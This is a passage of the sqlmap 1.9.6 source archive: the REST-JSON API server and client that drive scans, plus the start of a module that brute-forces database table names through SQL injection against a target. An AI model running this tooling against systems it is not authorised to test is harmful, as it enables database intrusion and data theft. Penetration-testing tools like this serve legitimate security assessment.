kb.counters[PAYLOAD.TECHNIQUE.UNION] == 1 else "ies", duration) logger.debug(debugMsg) return value ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/utils/�����������������������������������������������������������������������������0000775�0000000�0000000�00000000000�15022617442�0014735�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/utils/__init__.py������������������������������������������������������������������0000664�0000000�0000000�00000000222�15022617442�0017042�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ pass ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/utils/api.py�����������������������������������������������������������������������0000664�0000000�0000000�00000103123�15022617442�0016060�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python # -*- coding: utf-8 -*- """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import print_function import contextlib import logging import os import re import shlex import socket import sqlite3 import sys import tempfile import threading import time from lib.core.common import dataToStdout from lib.core.common import getSafeExString from lib.core.common import openFile from lib.core.common import saveConfig from lib.core.common import setColor from lib.core.common import unArrayizeValue from lib.core.compat import xrange from lib.core.convert import decodeBase64 from lib.core.convert import dejsonize from lib.core.convert import encodeBase64 from lib.core.convert import encodeHex from lib.core.convert import getBytes from lib.core.convert import getText from lib.core.convert import jsonize from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.datatype import AttribDict from lib.core.defaults import _defaults from lib.core.dicts import PART_RUN_CONTENT_TYPES from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.enums import CONTENT_STATUS from lib.core.enums import MKSTEMP_PREFIX from lib.core.exception import SqlmapConnectionException from lib.core.log import LOGGER_HANDLER from lib.core.optiondict import optDict from lib.core.settings import IS_WIN from lib.core.settings import RESTAPI_DEFAULT_ADAPTER from lib.core.settings import RESTAPI_DEFAULT_ADDRESS from lib.core.settings import RESTAPI_DEFAULT_PORT from lib.core.settings import RESTAPI_UNSUPPORTED_OPTIONS from lib.core.settings import VERSION_STRING from lib.core.shell import autoCompletion from lib.core.subprocessng import Popen from lib.parse.cmdline import cmdLineParser from thirdparty.bottle.bottle import error as return_error from thirdparty.bottle.bottle import get from thirdparty.bottle.bottle import hook from thirdparty.bottle.bottle import post from thirdparty.bottle.bottle import request from thirdparty.bottle.bottle import response from thirdparty.bottle.bottle import run from thirdparty.bottle.bottle import server_names from thirdparty import six from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import input as _input from thirdparty.six.moves import urllib as _urllib # Global data storage class DataStore(object): admin_token = "" current_db = None tasks = dict() username = None password = None # API objects class Database(object): filepath = None def __init__(self, database=None): self.database = self.filepath if database is None else database self.connection = None self.cursor = None def connect(self, who="server"): self.connection = sqlite3.connect(self.database, timeout=3, isolation_level=None, check_same_thread=False) self.cursor = self.connection.cursor() self.lock = threading.Lock() logger.debug("REST-JSON API %s connected to IPC database" % who) def disconnect(self): if self.cursor: self.cursor.close() if self.connection: self.connection.close() def commit(self): self.connection.commit() def execute(self, statement, arguments=None): with self.lock: while True: try: if arguments: self.cursor.execute(statement, arguments) else: self.cursor.execute(statement) except sqlite3.OperationalError as ex: if "locked" not in getSafeExString(ex): raise else: time.sleep(1) else: break if statement.lstrip().upper().startswith("SELECT"): return self.cursor.fetchall() def init(self): self.execute("CREATE TABLE IF NOT EXISTS logs(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, time TEXT, level TEXT, message TEXT)") self.execute("CREATE TABLE IF NOT EXISTS data(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, status INTEGER, content_type INTEGER, value TEXT)") self.execute("CREATE TABLE IF NOT EXISTS errors(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, error TEXT)") class Task(object): def __init__(self, taskid, remote_addr): self.remote_addr = remote_addr self.process = None self.output_directory = None self.options = None self._original_options = None self.initialize_options(taskid) def initialize_options(self, taskid): datatype = {"boolean": False, "string": None, "integer": None, "float": None} self.options = AttribDict() for _ in optDict: for name, type_ in optDict[_].items(): type_ = unArrayizeValue(type_) self.options[name] = _defaults.get(name, datatype[type_]) # Let sqlmap engine knows it is getting called by the API, # the task ID and the file path of the IPC database self.options.api = True self.options.taskid = taskid self.options.database = Database.filepath # Enforce batch mode and disable coloring and ETA self.options.batch = True self.options.disableColoring = True self.options.eta = False self._original_options = AttribDict(self.options) def set_option(self, option, value): self.options[option] = value def get_option(self, option): return self.options[option] def get_options(self): return self.options def reset_options(self): self.options = AttribDict(self._original_options) def engine_start(self): handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True) os.close(handle) saveConfig(self.options, configFile) if os.path.exists("sqlmap.py"): self.process = Popen([sys.executable or "python", "sqlmap.py", "--api", "-c", configFile], shell=False, close_fds=not IS_WIN) elif os.path.exists(os.path.join(os.getcwd(), "sqlmap.py")): self.process = Popen([sys.executable or "python", "sqlmap.py", "--api", "-c", configFile], shell=False, cwd=os.getcwd(), close_fds=not IS_WIN) elif os.path.exists(os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), "sqlmap.py")): self.process = Popen([sys.executable or "python", "sqlmap.py", "--api", "-c", configFile], shell=False, cwd=os.path.join(os.path.abspath(os.path.dirname(sys.argv[0]))), close_fds=not IS_WIN) else: self.process = Popen(["sqlmap", "--api", "-c", configFile], shell=False, close_fds=not IS_WIN) def engine_stop(self): if self.process: self.process.terminate() return self.process.wait() else: return None def engine_process(self): return self.process def engine_kill(self): if self.process: try: self.process.kill() return self.process.wait() except: pass return None def engine_get_id(self): if self.process: return self.process.pid else: return None def engine_get_returncode(self): if self.process: self.process.poll() return self.process.returncode else: return None def engine_has_terminated(self): return isinstance(self.engine_get_returncode(), int) # Wrapper functions for sqlmap engine class StdDbOut(object): def __init__(self, taskid, messagetype="stdout"): # Overwrite system standard output and standard error to write # to an IPC database self.messagetype = messagetype self.taskid = taskid if self.messagetype == "stdout": sys.stdout = self else: sys.stderr = self def write(self, value, status=CONTENT_STATUS.IN_PROGRESS, content_type=None): if self.messagetype == "stdout": if content_type is None: if kb.partRun is not None: content_type = PART_RUN_CONTENT_TYPES.get(kb.partRun) else: # Ignore all non-relevant messages return output = conf.databaseCursor.execute("SELECT id, status, value FROM data WHERE taskid = ? AND content_type = ?", (self.taskid, content_type)) # Delete partial output from IPC database if we have got a complete output if status == CONTENT_STATUS.COMPLETE: if len(output) > 0: for index in xrange(len(output)): conf.databaseCursor.execute("DELETE FROM data WHERE id = ?", (output[index][0],)) conf.databaseCursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", (self.taskid, status, content_type, jsonize(value))) if kb.partRun: kb.partRun = None elif status == CONTENT_STATUS.IN_PROGRESS: if len(output) == 0: conf.databaseCursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", (self.taskid, status, content_type, jsonize(value))) else: new_value = "%s%s" % (dejsonize(output[0][2]), value) conf.databaseCursor.execute("UPDATE data SET value = ? WHERE id = ?", (jsonize(new_value), output[0][0])) else: conf.databaseCursor.execute("INSERT INTO errors VALUES(NULL, ?, ?)", (self.taskid, str(value) if value else "")) def flush(self): pass def close(self): pass def seek(self): pass class LogRecorder(logging.StreamHandler): def emit(self, record): """ Record emitted events to IPC database for asynchronous I/O communication with the parent process """ conf.databaseCursor.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)", (conf.taskid, time.strftime("%X"), record.levelname, str(record.msg % record.args if record.args else record.msg))) def setRestAPILog(): if conf.api: try: conf.databaseCursor = Database(conf.database) conf.databaseCursor.connect("client") except sqlite3.OperationalError as ex: raise SqlmapConnectionException("%s ('%s')" % (ex, conf.database)) # Set a logging handler that writes log messages to a IPC database logger.removeHandler(LOGGER_HANDLER) LOGGER_RECORDER = LogRecorder() logger.addHandler(LOGGER_RECORDER) # Generic functions def is_admin(token): return DataStore.admin_token == token @hook('before_request') def check_authentication(): if not any((DataStore.username, DataStore.password)): return authorization = request.headers.get("Authorization", "") match = re.search(r"(?i)\ABasic\s+([^\s]+)", authorization) if not match: request.environ["PATH_INFO"] = "/error/401" try: creds = decodeBase64(match.group(1), binary=False) except: request.environ["PATH_INFO"] = "/error/401" else: if creds.count(':') != 1: request.environ["PATH_INFO"] = "/error/401" else: username, password = creds.split(':') if username.strip() != (DataStore.username or "") or password.strip() != (DataStore.password or ""): request.environ["PATH_INFO"] = "/error/401" @hook("after_request") def security_headers(json_header=True): """ Set some headers across all HTTP responses """ response.headers["Server"] = "Server" response.headers["X-Content-Type-Options"] = "nosniff" response.headers["X-Frame-Options"] = "DENY" response.headers["X-XSS-Protection"] = "1; mode=block" response.headers["Pragma"] = "no-cache" response.headers["Cache-Control"] = "no-cache" response.headers["Expires"] = "0" if json_header: response.content_type = "application/json; charset=UTF-8" ############################## # HTTP Status Code functions # ############################## @return_error(401) # Access Denied def error401(error=None): security_headers(False) return "Access denied" @return_error(404) # Not Found def error404(error=None): security_headers(False) return "Nothing here" @return_error(405) # Method Not Allowed (e.g. when requesting a POST method via GET) def error405(error=None): security_headers(False) return "Method not allowed" @return_error(500) # Internal Server Error def error500(error=None): security_headers(False) return "Internal server error" ############# # Auxiliary # ############# @get('/error/401') def path_401(): response.status = 401 return response ############################# # Task management functions # ############################# # Users' methods @get("/task/new") def task_new(): """ Create a new task """ taskid = encodeHex(os.urandom(8), binary=False) remote_addr = request.remote_addr DataStore.tasks[taskid] = Task(taskid, remote_addr) logger.debug("Created new task: '%s'" % taskid) return jsonize({"success": True, "taskid": taskid}) @get("/task/<taskid>/delete") def task_delete(taskid): """ Delete an existing task """ if taskid in DataStore.tasks: DataStore.tasks.pop(taskid) logger.debug("(%s) Deleted task" % taskid) return jsonize({"success": True}) else: response.status = 404 logger.warning("[%s] Non-existing task ID provided to task_delete()" % taskid) return jsonize({"success": False, "message": "Non-existing task ID"}) ################### # Admin functions # ################### @get("/admin/list") @get("/admin/<token>/list") def task_list(token=None): """ Pull task list """ tasks = {} for key in DataStore.tasks: if is_admin(token) or DataStore.tasks[key].remote_addr == request.remote_addr: tasks[key] = dejsonize(scan_status(key))["status"] logger.debug("(%s) Listed task pool (%s)" % (token, "admin" if is_admin(token) else request.remote_addr)) return jsonize({"success": True, "tasks": tasks, "tasks_num": len(tasks)}) @get("/admin/flush") @get("/admin/<token>/flush") def task_flush(token=None): """ Flush task spool (delete all tasks) """ for key in list(DataStore.tasks): if is_admin(token) or DataStore.tasks[key].remote_addr == request.remote_addr: DataStore.tasks[key].engine_kill() del DataStore.tasks[key] logger.debug("(%s) Flushed task pool (%s)" % (token, "admin" if is_admin(token) else request.remote_addr)) return jsonize({"success": True}) ################################## # sqlmap core interact functions # ################################## # Handle task's options @get("/option/<taskid>/list") def option_list(taskid): """ List options for a certain task ID """ if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to option_list()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) logger.debug("(%s) Listed task options" % taskid) return jsonize({"success": True, "options": DataStore.tasks[taskid].get_options()}) @post("/option/<taskid>/get") def option_get(taskid): """ Get value of option(s) for a certain task ID """ if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to option_get()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) options = request.json or [] results = {} for option in options: if option in DataStore.tasks[taskid].options: results[option] = DataStore.tasks[taskid].options[option] else: logger.debug("(%s) Requested value for unknown option '%s'" % (taskid, option)) return jsonize({"success": False, "message": "Unknown option '%s'" % option}) logger.debug("(%s) Retrieved values for option(s) '%s'" % (taskid, ','.join(options))) return jsonize({"success": True, "options": results}) @post("/option/<taskid>/set") def option_set(taskid): """ Set value of option(s) for a certain task ID """ if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to option_set()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) if request.json is None: logger.warning("[%s] Invalid JSON options provided to option_set()" % taskid) return jsonize({"success": False, "message": "Invalid JSON options"}) for option, value in request.json.items(): DataStore.tasks[taskid].set_option(option, value) logger.debug("(%s) Requested to set options" % taskid) return jsonize({"success": True}) # Handle scans @post("/scan/<taskid>/start") def scan_start(taskid): """ Launch a scan """ if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to scan_start()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) if request.json is None: logger.warning("[%s] Invalid JSON options provided to scan_start()" % taskid) return jsonize({"success": False, "message": "Invalid JSON options"}) for key in request.json: if key in RESTAPI_UNSUPPORTED_OPTIONS: logger.warning("[%s] Unsupported option '%s' provided to scan_start()" % (taskid, key)) return jsonize({"success": False, "message": "Unsupported option '%s'" % key}) # Initialize sqlmap engine's options with user's provided options, if any for option, value in request.json.items(): DataStore.tasks[taskid].set_option(option, value) # Launch sqlmap engine in a separate process DataStore.tasks[taskid].engine_start() logger.debug("(%s) Started scan" % taskid) return jsonize({"success": True, "engineid": DataStore.tasks[taskid].engine_get_id()}) @get("/scan/<taskid>/stop") def scan_stop(taskid): """ Stop a scan """ if (taskid not in DataStore.tasks or DataStore.tasks[taskid].engine_process() is None or DataStore.tasks[taskid].engine_has_terminated()): logger.warning("[%s] Invalid task ID provided to scan_stop()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) DataStore.tasks[taskid].engine_stop() logger.debug("(%s) Stopped scan" % taskid) return jsonize({"success": True}) @get("/scan/<taskid>/kill") def scan_kill(taskid): """ Kill a scan """ if (taskid not in DataStore.tasks or DataStore.tasks[taskid].engine_process() is None or DataStore.tasks[taskid].engine_has_terminated()): logger.warning("[%s] Invalid task ID provided to scan_kill()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) DataStore.tasks[taskid].engine_kill() logger.debug("(%s) Killed scan" % taskid) return jsonize({"success": True}) @get("/scan/<taskid>/status") def scan_status(taskid): """ Returns status of a scan """ if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to scan_status()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) if DataStore.tasks[taskid].engine_process() is None: status = "not running" else: status = "terminated" if DataStore.tasks[taskid].engine_has_terminated() is True else "running" logger.debug("(%s) Retrieved scan status" % taskid) return jsonize({ "success": True, "status": status, "returncode": DataStore.tasks[taskid].engine_get_returncode() }) @get("/scan/<taskid>/data") def scan_data(taskid): """ Retrieve the data of a scan """ json_data_message = list() json_errors_message = list() if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to scan_data()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) # Read all data from the IPC database for the taskid for status, content_type, value in DataStore.current_db.execute("SELECT status, content_type, value FROM data WHERE taskid = ? ORDER BY id ASC", (taskid,)): json_data_message.append({"status": status, "type": content_type, "value": dejsonize(value)}) # Read all error messages from the IPC database for error in DataStore.current_db.execute("SELECT error FROM errors WHERE taskid = ? ORDER BY id ASC", (taskid,)): json_errors_message.append(error) logger.debug("(%s) Retrieved scan data and error messages" % taskid) return jsonize({"success": True, "data": json_data_message, "error": json_errors_message}) # Functions to handle scans' logs @get("/scan/<taskid>/log/<start>/<end>") def scan_log_limited(taskid, start, end): """ Retrieve a subset of log messages """ json_log_messages = list() if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to scan_log_limited()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) if not start.isdigit() or not end.isdigit() or int(end) < int(start): logger.warning("[%s] Invalid start or end value provided to scan_log_limited()" % taskid) return jsonize({"success": False, "message": "Invalid start or end value, must be digits"}) start = max(1, int(start)) end = max(1, int(end)) # Read a subset of log messages from the IPC database for time_, level, message in DataStore.current_db.execute("SELECT time, level, message FROM logs WHERE taskid = ? AND id >= ? AND id <= ? ORDER BY id ASC", (taskid, start, end)): json_log_messages.append({"time": time_, "level": level, "message": message}) logger.debug("(%s) Retrieved scan log messages subset" % taskid) return jsonize({"success": True, "log": json_log_messages}) @get("/scan/<taskid>/log") def scan_log(taskid): """ Retrieve the log messages """ json_log_messages = list() if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to scan_log()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) # Read all log messages from the IPC database for time_, level, message in DataStore.current_db.execute("SELECT time, level, message FROM logs WHERE taskid = ? ORDER BY id ASC", (taskid,)): json_log_messages.append({"time": time_, "level": level, "message": message}) logger.debug("(%s) Retrieved scan log messages" % taskid) return jsonize({"success": True, "log": json_log_messages}) # Function to handle files inside the output directory @get("/download/<taskid>/<target>/<filename:path>") def download(taskid, target, filename): """ Download a certain file from the file system """ if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to download()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) path = os.path.abspath(os.path.join(paths.SQLMAP_OUTPUT_PATH, target, filename)) # Prevent file path traversal if not path.startswith(paths.SQLMAP_OUTPUT_PATH): logger.warning("[%s] Forbidden path (%s)" % (taskid, target)) return jsonize({"success": False, "message": "Forbidden path"}) if os.path.isfile(path): logger.debug("(%s) Retrieved content of file %s" % (taskid, target)) content = openFile(path, "rb").read() return jsonize({"success": True, "file": encodeBase64(content, binary=False)}) else: logger.warning("[%s] File does not exist %s" % (taskid, target)) return jsonize({"success": False, "message": "File does not exist"}) @get("/version") def version(token=None): """ Fetch server version """ logger.debug("Fetched version (%s)" % ("admin" if is_admin(token) else request.remote_addr)) return jsonize({"success": True, "version": VERSION_STRING.split('/')[-1]}) def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=RESTAPI_DEFAULT_ADAPTER, username=None, password=None, database=None): """ REST-JSON API server """ DataStore.admin_token = encodeHex(os.urandom(16), binary=False) DataStore.username = username DataStore.password = password if not database: _, Database.filepath = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.IPC, text=False) os.close(_) else: Database.filepath = database if port == 0: # random with contextlib.closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as s: s.bind((host, 0)) port = s.getsockname()[1] logger.info("Running REST-JSON API server at '%s:%d'.." % (host, port)) logger.info("Admin (secret) token: %s" % DataStore.admin_token) logger.debug("IPC database: '%s'" % Database.filepath) # Initialize IPC database DataStore.current_db = Database() DataStore.current_db.connect() DataStore.current_db.init() # Run RESTful API try: # Supported adapters: aiohttp, auto, bjoern, cgi, cherrypy, diesel, eventlet, fapws3, flup, gae, gevent, geventSocketIO, gunicorn, meinheld, paste, rocket, tornado, twisted, waitress, wsgiref # Reference: https://bottlepy.org/docs/dev/deployment.html || bottle.server_names if adapter == "gevent": from gevent import monkey monkey.patch_all() elif adapter == "eventlet": import eventlet eventlet.monkey_patch() logger.debug("Using adapter '%s' to run bottle" % adapter) run(host=host, port=port, quiet=True, debug=True, server=adapter) except socket.error as ex: if "already in use" in getSafeExString(ex): logger.error("Address already in use ('%s:%s')" % (host, port)) else: raise except ImportError: if adapter.lower() not in server_names: errMsg = "Adapter '%s' is unknown. " % adapter errMsg += "List of supported adapters: %s" % ', '.join(sorted(list(server_names.keys()))) else: errMsg = "Server support for adapter '%s' is not installed on this system " % adapter errMsg += "(Note: you can try to install it with 'apt install python-%s' or 'pip%s install %s')" % (adapter, '3' if six.PY3 else "", adapter) logger.critical(errMsg) def _client(url, options=None): logger.debug("Calling '%s'" % url) try: headers = {"Content-Type": "application/json"} if options is not None: data = getBytes(jsonize(options)) else: data = None if DataStore.username or DataStore.password: headers["Authorization"] = "Basic %s" % encodeBase64("%s:%s" % (DataStore.username or "", DataStore.password or ""), binary=False) req = _urllib.request.Request(url, data, headers) response = _urllib.request.urlopen(req) text = getText(response.read()) except: if options: logger.error("Failed to load and parse %s" % url) raise return text def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=None, password=None): """ REST-JSON API client """ DataStore.username = username DataStore.password = password dbgMsg = "Example client access from command line:" dbgMsg += "\n\t$ taskid=$(curl http://%s:%d/task/new 2>1 | grep -o -I '[a-f0-9]\\{16\\}') && echo $taskid" % (host, port) dbgMsg += "\n\t$ curl -H \"Content-Type: application/json\" -X POST -d '{\"url\": \"http://testphp.vulnweb.com/artists.php?artist=1\"}' http://%s:%d/scan/$taskid/start" % (host, port) dbgMsg += "\n\t$ curl http://%s:%d/scan/$taskid/data" % (host, port) dbgMsg += "\n\t$ curl http://%s:%d/scan/$taskid/log" % (host, port) logger.debug(dbgMsg) addr = "http://%s:%d" % (host, port) logger.info("Starting REST-JSON API client to '%s'..." % addr) try: _client(addr) except Exception as ex: if not isinstance(ex, _urllib.error.HTTPError) or ex.code == _http_client.UNAUTHORIZED: errMsg = "There has been a problem while connecting to the " errMsg += "REST-JSON API server at '%s' " % addr errMsg += "(%s)" % getSafeExString(ex) logger.critical(errMsg) return commands = ("help", "new", "use", "data", "log", "status", "option", "stop", "kill", "list", "flush", "version", "exit", "bye", "quit") colors = ('red', 'green', 'yellow', 'blue', 'magenta', 'cyan', 'lightgrey', 'lightred', 'lightgreen', 'lightyellow', 'lightblue', 'lightmagenta', 'lightcyan') autoCompletion(AUTOCOMPLETE_TYPE.API, commands=commands) taskid = None logger.info("Type 'help' or '?' for list of available commands") while True: try: color = colors[int(taskid or "0", 16) % len(colors)] command = _input("api%s> " % (" (%s)" % setColor(taskid, color) if taskid else "")).strip() command = re.sub(r"\A(\w+)", lambda match: match.group(1).lower(), command) except (EOFError, KeyboardInterrupt): print() break if command in ("data", "log", "status", "stop", "kill"): if not taskid: logger.error("No task ID in use") continue raw = _client("%s/scan/%s/%s" % (addr, taskid, command)) res = dejsonize(raw) if not res["success"]: logger.error("Failed to execute command %s" % command) dataToStdout("%s\n" % raw) elif command.startswith("option"): if not taskid: logger.error("No task ID in use") continue try: command, option = command.split(" ", 1) except ValueError: raw = _client("%s/option/%s/list" % (addr, taskid)) else: options = re.split(r"\s*,\s*", option.strip()) raw = _client("%s/option/%s/get" % (addr, taskid), options) res = dejsonize(raw) if not res["success"]: logger.error("Failed to execute command %s" % command) dataToStdout("%s\n" % raw) elif command.startswith("new"): if ' ' not in command: logger.error("Program arguments are missing") continue try: argv = ["sqlmap.py"] + shlex.split(command)[1:] except Exception as ex: logger.error("Error occurred while parsing arguments ('%s')" % getSafeExString(ex)) taskid = None continue try: cmdLineOptions = cmdLineParser(argv).__dict__ except: taskid = None continue for key in list(cmdLineOptions): if cmdLineOptions[key] is None: del cmdLineOptions[key] raw = _client("%s/task/new" % addr) res = dejsonize(raw) if not res["success"]: logger.error("Failed to create new task ('%s')" % res.get("message", "")) continue taskid = res["taskid"] logger.info("New task ID is '%s'" % taskid) raw = _client("%s/scan/%s/start" % (addr, taskid), cmdLineOptions) res = dejsonize(raw) if not res["success"]: logger.error("Failed to start scan ('%s')" % res.get("message", "")) continue logger.info("Scanning started") elif command.startswith("use"): taskid = (command.split()[1] if ' ' in command else "").strip("'\"") if not taskid: logger.error("Task ID is missing") taskid = None continue elif not re.search(r"\A[0-9a-fA-F]{16}\Z", taskid): logger.error("Invalid task ID '%s'" % taskid) taskid = None continue logger.info("Switching to task ID '%s' " % taskid) elif command in ("version",): raw = _client("%s/%s" % (addr, command)) res = dejsonize(raw) if not res["success"]: logger.error("Failed to execute command %s" % command) dataToStdout("%s\n" % raw) elif command in ("list", "flush"): raw = _client("%s/admin/%s" % (addr, command)) res = dejsonize(raw) if not res["success"]: logger.error("Failed to execute command %s" % command) elif command == "flush": taskid = None dataToStdout("%s\n" % raw) elif command in ("exit", "bye", "quit", 'q'): return elif command in ("help", "?"): msg = "help Show this help message\n" msg += "new ARGS Start a new scan task with provided arguments (e.g. 'new -u \"http://testphp.vulnweb.com/artists.php?artist=1\"')\n" msg += "use TASKID Switch current context to different task (e.g. 'use c04d8c5c7582efb4')\n" msg += "data Retrieve and show data for current task\n" msg += "log Retrieve and show log for current task\n" msg += "status Retrieve and show status for current task\n" msg += "option OPTION Retrieve and show option for current task\n" msg += "options Retrieve and show all options for current task\n" msg += "stop Stop current task\n" msg += "kill Kill current task\n" msg += "list Display all tasks\n" msg += "version Fetch server version\n" msg += "flush Flush tasks (delete all tasks)\n" msg += "exit Exit this client\n" dataToStdout(msg) elif command: logger.error("Unknown command '%s'" % command) ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/utils/brute.py���������������������������������������������������������������������0000664�0000000�0000000�00000037502�15022617442�0016437�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import division import time from lib.core.common import Backend from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout from lib.core.common import filterListValue from lib.core.common import getFileItems from lib.core.common import getPageWordSet from lib.core.common import hashDBWrite from lib.core.common import isNoneValue from lib.core.common import ntToPosixSlashes from lib.core.common import popValue from lib.core.common import pushValue from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import safeStringFormat from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.decorators import stackedmethod from lib.core.enums import DBMS from lib.core.enums import HASHDB_KEYS from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapNoneDataException from lib.core.settings import BRUTE_COLUMN_EXISTS_TEMPLATE from lib.core.settings import BRUTE_TABLE_EXISTS_TEMPLATE from lib.core.settings import METADB_SUFFIX from lib.core.settings import UPPER_CASE_DBMSES from lib.core.threads import getCurrentThreadData from lib.core.threads import runThreads from lib.request import inject def _addPageTextWords(): wordsList = [] infoMsg = "adding words used on web page to the check list" logger.info(infoMsg) pageWords = getPageWordSet(kb.originalPage) for word in pageWords: word = word.lower() if len(word) > 2 and not word[0].isdigit() and word not in wordsList: wordsList.append(word) return wordsList @stackedmethod def tableExists(tableFile, regex=None): if kb.choices.tableExists is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct: warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED]) warnMsg += "for common table existence check" logger.warning(warnMsg) message = "are you sure you want to continue? [y/N] " kb.choices.tableExists = readInput(message, default='N', boolean=True) if not kb.choices.tableExists: return None result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), randomStr()))) if result: errMsg = "can't use table existence check because of detected invalid results " errMsg += "(most likely caused by inability of the used injection " errMsg += "to distinguish erroneous results)" raise SqlmapDataException(errMsg) pushValue(conf.db) if conf.db and Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.db = conf.db.upper() message = "which common tables (wordlist) file do you want to use?\n" message += "[1] default '%s' (press Enter)\n" % tableFile message += "[2] custom" choice = readInput(message, default='1') if choice == '2': message = "what's the custom common tables file location?\n" tableFile = readInput(message) or tableFile infoMsg = "performing table existence using items from '%s'" % tableFile logger.info(infoMsg) tables = getFileItems(tableFile, lowercase=Backend.getIdentifiedDbms() in (DBMS.ACCESS,), unique=True) tables.extend(_addPageTextWords()) tables = filterListValue(tables, regex) for conf.db in (conf.db.split(',') if conf.db else [conf.db]): if conf.db and METADB_SUFFIX not in conf.db: infoMsg = "checking database '%s'" % conf.db logger.info(infoMsg) threadData = getCurrentThreadData() threadData.shared.count = 0 threadData.shared.limit = len(tables) threadData.shared.files = [] threadData.shared.unique = set() def tableExistsThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.count.acquire() if threadData.shared.count < threadData.shared.limit: table = safeSQLIdentificatorNaming(tables[threadData.shared.count], True) threadData.shared.count += 1 kb.locks.count.release() else: kb.locks.count.release() break if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): fullTableName = "%s.%s" % (conf.db, table) else: fullTableName = table if Backend.isDbms(DBMS.MCKOI): _ = randomInt(1) result = inject.checkBooleanExpression("%s" % safeStringFormat("%d=(SELECT %d FROM %s)", (_, _, fullTableName))) else: result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName))) kb.locks.io.acquire() if result and table.lower() not in threadData.shared.unique: threadData.shared.files.append(table) threadData.shared.unique.add(table.lower()) if conf.verbose in (1, 2) and not conf.api: clearConsoleLine(True) infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(table)) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) 